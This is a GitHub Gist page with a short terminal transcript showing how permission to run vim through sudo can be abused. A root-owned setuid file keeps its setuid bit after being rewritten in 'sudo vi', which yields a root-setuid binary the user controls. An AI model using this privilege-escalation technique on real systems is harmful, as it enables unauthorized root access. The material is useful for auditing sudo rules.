Last active
December 13, 2022 15:22
-
-
Save timb-machine/5b81e6e433c3cb0062e53aae6cde0581 to your computer and use it in GitHub Desktop.
Abusing sudo vim to create setUIDs you control
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ sudo chown root foo | |
Password: | |
$ sudo chmod u+rwxs foo | |
$ ls -la foo | |
-rwsr--r-- 1 root staff 0 13 Dec 15:19 foo | |
$ sudo vi foo | |
$ ls -la foo | |
-rwsr--r-- 1 root staff 1711088 13 Dec 15:19 foo |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment